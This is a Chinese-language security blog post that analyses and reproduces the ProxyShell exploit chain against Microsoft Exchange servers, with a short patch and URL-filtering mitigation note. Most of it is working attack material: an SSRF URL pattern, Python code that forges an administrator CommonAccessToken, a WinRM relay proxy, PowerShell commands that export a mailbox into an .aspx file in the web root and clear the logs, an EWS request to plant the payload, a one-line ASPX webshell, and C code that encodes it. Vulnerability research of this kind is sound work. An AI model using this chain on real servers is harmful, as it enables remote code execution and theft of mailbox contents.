能力中心
本站所有文章均为原创,如需转载请注明出处
前些日子在blackhat的公开演讲中,安全研究员Orange Tsai公布并讲述了他对微软Exchange服务器的攻击手法。在演讲中,他介绍了ProxyLogon,ProxyOrcale和ProxyShell三个攻击链。
本文是对ProxyShell攻击链的分析和复现。
Microsoft Exchange Server 2019 Cumulative Update 9
Microsoft Exchange Server 2019 Cumulative Update 8
Microsoft Exchange Server 2016 Cumulative Update 20
Microsoft Exchange Server 2016 Cumulative Update 19
Microsoft Exchange Server 2013 Cumulative Update 23
ProxyShell攻击链早在四月份的Pwn2Own上就已被上报,微软也在四月及时发布了安全性更新补丁。
如果出于其他原因不能安装补丁,可以对含有autodiscover/autodiscover.json@<邮件地址>
特征的HTTP请求URL进行阻拦和过滤。
ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。
调试环境是Exchange 2016。
在Orange的演讲中,利用步骤已经很明显,这里做一些额外补充。
在以上代码中可以看到,当Email参数不为空时,会对URL进行处理。
而可以通过构造特殊URL,来达成SSRF。
在Exchange的后端,有着PowerShell的端点可以与Exchange沟通。但是PowerShell端点的认证方式普遍是NTLM或者Kerberos,于是想要访问该端点,必须要获得账号密码。Exchange还提供了CommonAccessToken的Header支持认证,这个认证方式不需要账号密码,但是在SSRF的情况下我们无法传入本Header。
可以看到在这里通过在URL中提供X-Rps-CAT
参数,可以让Exchange提取CommonAccessToken,从而获得认证。
这样在获取访问PowerShell的权限后,就可以执行一些PowerShell命令。但是Exchange的PowerShell环境是很显然受限制的,所以只能在允许的命令中寻找可以利用的。
其中New-MailExportRequest
就是可以被利用的,他会将一个用户的邮箱打包,当FilePath
参数被提供的时候,PowerShell会将文件以PST的格式保存到外部地址。
很显然,外部地址包括\\127.0.0.1
。所以可以通过更改文件名后缀来写入任意文件。
但是前文也提到了,是PST文件格式,而PST会对数据进行一些加密。好消息是,PST采用的是置换加密,所以加密过的数据重新加密就会显示明文。而且PST的加密方式是在微软官网上提供的。
所以可以通过向Exchange邮箱发送加密后的恶意代码,打包到aspx文件后使用webshell。
在Orange的演讲中没有被提到的是,除了发送邮件以外,还可以用Exchange中的冒名功能,冒充用户发邮件,这样省去了发邮件的过程。
复现和编写exp的过程比较繁琐,因为要涉及到对Exchange服务和WinRM协议。
SSRF部分非常简单,只要访问https://exchange/autodiscover/autodiscover.json?@foo.com{path}&Email=autodiscover/autodiscover.json%3f@foo.com
就会被Exchange认为成https://exchange:444/{path}
进行SSRF。
如果对于端口444有疑问,可以查看Orange的演讲。
PowerShell是这个攻击链中的重点,也是比较复杂的一段。
首先前面提到了需要CommonAccessToken,也可以通过提供X-Rps-CAT参数来提供。但是如何获取便是下一个问题。
为了了解CommonAccessToken的构造,我在测试机上设置了一些断点,并抓取了其中一个请求,获得了Exchange内部的CommonAccessToken。
X-CommonAccessToken:VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==
可以看出是经过base64编码后的,解码后放到hexdump中。
关于CommonAccessToken的源码,可以在Microsoft.Exchange.Security.Authorization
中找到。
通过观察序列化的函数,可以了解到大概的构造。
可以看出,V
代表Version,T
代表Type,C
代表是否有压缩信息,而E
代表额外的信息。但是观察上面的hexdump后,发现还有一些其他的字母。
这些字母的信息可以在同一个DLL中找到,但是是在WindowsAccessToken
中。
可以看到L
代表登录用户名,A
代表认证类型,U
代表用户SID,G
代表组SID。
Token的序列化格式也是按照Name-Length-Value
的格式,所以分析起来比较轻松。
以下是生成Token的Python代码:
def gen_token(uname, sid):
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'
version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes(1, 'little')
auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
ext_data = b'E' + pack('>I', 0)
raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
raw_token += group_data
raw_token += ext_data
data = base64.b64encode(raw_token).decode()
return data
在Windows中用户的SID是不一样的,但是组SID是通用的,而管理员组的SID就是S-1-5-32-544
,顺带一提,普通用户是S-1-5-32-545
。
在拥有了CommonAccessToken之后可以试着访问PowerShell端点,当响应是200时则说明成功。
关于获得SID的方法,可以参考ProxyLogon,同样的道理。
现在已经有了与Exchange的PowerShell沟通的方式,接下来是让Exchange PowerShell执行命令。
前面也提到了,PowerShell是使用的WinRM协议,而WinRM是基于HTTP的SOAP协议。最原始的方法莫过于手撸XML在进行发送,但是那样太折磨人了。
Python有一个非常好用的库叫做PyPSRP
,这个库可以进行WinRM通话。但是问题也出在这里,因为传统的WinRM是通过账号密码或者是密码哈希值进行认证的,在这里是通过CommonAccessToken。
而且又因为请求目标的关系,所以导致了WinRM没法直接向目标发送请求。
这里我的解决方案是搭建一个简单的HTTP代理服务器,通过更改POST请求的handler来达成代理的作用。
简单来说,我将WinRM的请求对象设置为本地127.0.0.1:8080
,而我在本地的8080端口先使用nc监听来观察请求格式。
可以看到,除了HTTP头部以外没有什么不一样的地方,唯一的例外就是XML中的请求地址,但是那个可以通过正则替换掉。
以下是大概的数据流向:
以下是HTTP服务器的代码:
class handler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['content-length'])
content_type = self.headers['content-type']
post_data = self.rfile.read(length).decode()
post_data = re.sub('<wsa:To>(.*?)</wsa:To>', '<wsa:To>http://127.0.0.1:80/powershell</wsa:To>', post_data)
post_data = re.sub('<wsman:ResourceURI s:mustUnderstand="true">(.*?)</wsman:ResourceURI>', '<wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>', post_data)
headers = {
'Content-Type': content_type
}
req = requests.post(powershell_url, data=post_data, headers=headers, verify=False)
resp = req.content
self.send_response(200)
self.end_headers()
self.wfile.write(resp)
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
关于<wsman:ResourceURI>
替换的说明: 不知道出于什么原因,Exchange不接受这个URI,于是又在服务器上抓包获得了这个URI,替换了上去。
在之后就可以通过WSMan来导出邮件文件了。
assign_role = "New-ManagementRoleAssignment -role 'Mailbox Import Export' -user administrator"
export_file = "New-MailboxExportRequest -Mailbox administrator@f.com -IncludeFolders \"#Drafts#\" -FilePath \\\\127.0.0.1\\C$\\inetpub\\wwwroot\\aspnet_client\\proxyshell.aspx "
clean_record = "Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Force -Confirm:$false"
首先assign_role
,是用来让Exchange赋予用户导入邮件的权限。export_file
便是打包邮件。clean_record
是清理之前发送的导出请求。
这部分需要和Exchange Web Service(EWS)互动。这个EWS也只接受SOAP XML请求,所以也很痛苦。
还有就是对于PST文件的加密解密部分。
首先来看发送邮件部分,这个只要发送一个XML请求就好了。但实质上这部分花了我一天的时间才搞明白。
send_email = '''
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016" />
<t:SerializedSecurityContext>
<t:UserSid>{sid}</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
<t:Subject>dummy</t:Subject>
<t:Body BodyType="HTML">hello from darkness side</t:Body>
<t:Attachments>
<t:FileAttachment>
<t:Name>FileAttachment.txt</t:Name>
<t:IsInline>false</t:IsInline>
<t:IsContactPhoto>false</t:IsContactPhoto>
<t:Content>{payload}</t:Content>
</t:FileAttachment>
</t:Attachments>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>{email}</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
'''
然后是Payload的编写部分,我这里是采取了通用的一行ASPX马。
<script language="JScript" runat="server" Page aspcompat=true>function Page_Load(){eval(Request["cmd"],"unsafe");}</script>
然后自己稍微魔改一下,编译后运行得到结构。
#include <stdio.h>
#include <windows.h>
#include <string.h>
byte mpbbCrypt[] =
{
65, 54, 19, 98, 168, 33, 110, 187,
244, 22, 204, 4, 127, 100, 232, 93,
30, 242, 203, 42, 116, 197, 94, 53,
210, 149, 71, 158, 150, 45, 154, 136,
76, 125, 132, 63, 219, 172, 49, 182,
72, 95, 246, 196, 216, 57, 139, 231,
35, 59, 56, 142, 200, 193, 223, 37,
177, 32, 165, 70, 96, 78, 156, 251,
170, 211, 86, 81, 69, 124, 85, 0,
7, 201, 43, 157, 133, 155, 9, 160,
143, 173, 179, 15, 99, 171, 137, 75,
215, 167, 21, 90, 113, 102, 66, 191,
38, 74, 107, 152, 250, 234, 119, 83,
178, 112, 5, 44, 253, 89, 58, 134,
126, 206, 6, 235, 130, 120, 87, 199,
141, 67, 175, 180, 28, 212, 91, 205,
226, 233, 39, 79, 195, 8, 114, 128,
207, 176, 239, 245, 40, 109, 190, 48,
77, 52, 146, 213, 14, 60, 34, 50,
229, 228, 249, 159, 194, 209, 10, 129,
18, 225, 238, 145, 131, 118, 227, 151,
230, 97, 138, 23, 121, 164, 183, 220,
144, 122, 92, 140, 2, 166, 202, 105,
222, 80, 26, 17, 147, 185, 82, 135,
88, 252, 237, 29, 55, 73, 27, 106,
224, 41, 51, 153, 189, 108, 217, 148,
243, 64, 84, 111, 240, 198, 115, 184,
214, 62, 101, 24, 68, 31, 221, 103,
16, 241, 12, 25, 236, 174, 3, 161,
20, 123, 169, 11, 255, 248, 163, 192,
162, 1, 247, 46, 188, 36, 104, 117,
13, 254, 186, 47, 181, 208, 218, 61,
20, 83, 15, 86, 179, 200, 122, 156,
235, 101, 72, 23, 22, 21, 159, 2,
204, 84, 124, 131, 0, 13, 12, 11,
162, 98, 168, 118, 219, 217, 237, 199,
197, 164, 220, 172, 133, 116, 214, 208,
167, 155, 174, 154, 150, 113, 102, 195,
99, 153, 184, 221, 115, 146, 142, 132,
125, 165, 94, 209, 93, 147, 177, 87,
81, 80, 128, 137, 82, 148, 79, 78,
10, 107, 188, 141, 127, 110, 71, 70,
65, 64, 68, 1, 17, 203, 3, 63,
247, 244, 225, 169, 143, 60, 58, 249,
251, 240, 25, 48, 130, 9, 46, 201,
157, 160, 134, 73, 238, 111, 77, 109,
196, 45, 129, 52, 37, 135, 27, 136,
170, 252, 6, 161, 18, 56, 253, 76,
66, 114, 100, 19, 55, 36, 106, 117,
119, 67, 255, 230, 180, 75, 54, 92,
228, 216, 53, 61, 69, 185, 44, 236,
183, 49, 43, 41, 7, 104, 163, 14,
105, 123, 24, 158, 33, 57, 190, 40,
26, 91, 120, 245, 35, 202, 42, 176,
175, 62, 254, 4, 140, 231, 229, 152,
50, 149, 211, 246, 74, 232, 166, 234,
233, 243, 213, 47, 112, 32, 242, 31,
5, 103, 173, 85, 16, 206, 205, 227,
39, 59, 218, 186, 215, 194, 38, 212,
145, 29, 210, 28, 34, 51, 248, 250,
241, 90, 239, 207, 144, 182, 139, 181,
189, 192, 191, 8, 151, 30, 108, 226,
97, 224, 198, 193, 89, 171, 187, 88,
222, 95, 223, 96, 121, 126, 178, 138,
71, 241, 180, 230, 11, 106, 114, 72,
133, 78, 158, 235, 226, 248, 148, 83,
224, 187, 160, 2, 232, 90, 9, 171,
219, 227, 186, 198, 124, 195, 16, 221,
57, 5, 150, 48, 245, 55, 96, 130,
140, 201, 19, 74, 107, 29, 243, 251,
143, 38, 151, 202, 145, 23, 1, 196,
50, 45, 110, 49, 149, 255, 217, 35,
209, 0, 94, 121, 220, 68, 59, 26,
40, 197, 97, 87, 32, 144, 61, 131,
185, 67, 190, 103, 210, 70, 66, 118,
192, 109, 91, 126, 178, 15, 22, 41,
60, 169, 3, 84, 13, 218, 93, 223,
246, 183, 199, 98, 205, 141, 6, 211,
105, 92, 134, 214, 20, 247, 165, 102,
117, 172, 177, 233, 69, 33, 112, 12,
135, 159, 116, 164, 34, 76, 111, 191,
31, 86, 170, 46, 179, 120, 51, 80,
176, 163, 146, 188, 207, 25, 28, 167,
99, 203, 30, 77, 62, 75, 27, 155,
79, 231, 240, 238, 173, 58, 181, 89,
4, 234, 64, 85, 37, 81, 229, 122,
137, 56, 104, 82, 123, 252, 39, 174,
215, 189, 250, 7, 244, 204, 142, 95,
239, 53, 156, 132, 43, 21, 213, 119,
52, 73, 182, 18, 10, 127, 113, 136,
253, 157, 24, 65, 125, 147, 216, 88,
44, 206, 254, 36, 175, 222, 184, 54,
200, 161, 128, 166, 153, 152, 168, 47,
14, 129, 101, 115, 228, 194, 162, 138,
212, 225, 17, 208, 8, 139, 42, 242,
237, 154, 100, 63, 193, 108, 249, 236
};
#define mpbbR (mpbbCrypt)
#define mpbbS (mpbbCrypt + 256)
#define mpbbI (mpbbCrypt + 512)
void CryptPermute(PVOID pv, int cb, BOOL fEncrypt)
{
// cb -> buffer size
// pv -> buffer
byte * pb = (byte *)pv;
byte * pbTable = fEncrypt ? mpbbR : mpbbI;
const DWORD * pdw = (const DWORD *) pv;
DWORD dwCurr;
byte b;
if (cb >= sizeof(DWORD))
{
while (0 != (((DWORD_PTR) pb) % sizeof(DWORD)))
{
*pb = pbTable[*pb];
pb++;
cb--;
}
pdw = (const DWORD *) pb;
for (; cb >= 4; cb -= 4)
{
dwCurr = *pdw;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
dwCurr = dwCurr >> 8;
b = (byte) (dwCurr & 0xFF);
*pb = pbTable[b];
pb++;
pdw++;
}
pb = (byte *) pdw;
}
for (; --cb >= 0; ++pb)
*pb = pbTable[*pb];
}
void main(){
char[] payload = "<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['cmd'],'unsafe');}</script>";
int length = strlen(payload);
CryptPermute(payload, length, false);
printf(payload);
}
我就写了main那一部分,后面逻辑也理不清了,所以就直接穷举一个一个试的。
然后得到乱码,base64编码之后放到payload里面。这样所有的攻击链都完成了。最后就是连在一起:
作者:斗象能力中心TCC-史辛泽
匿名
2021/08/13 16:50sec00
2021/08/13 15:43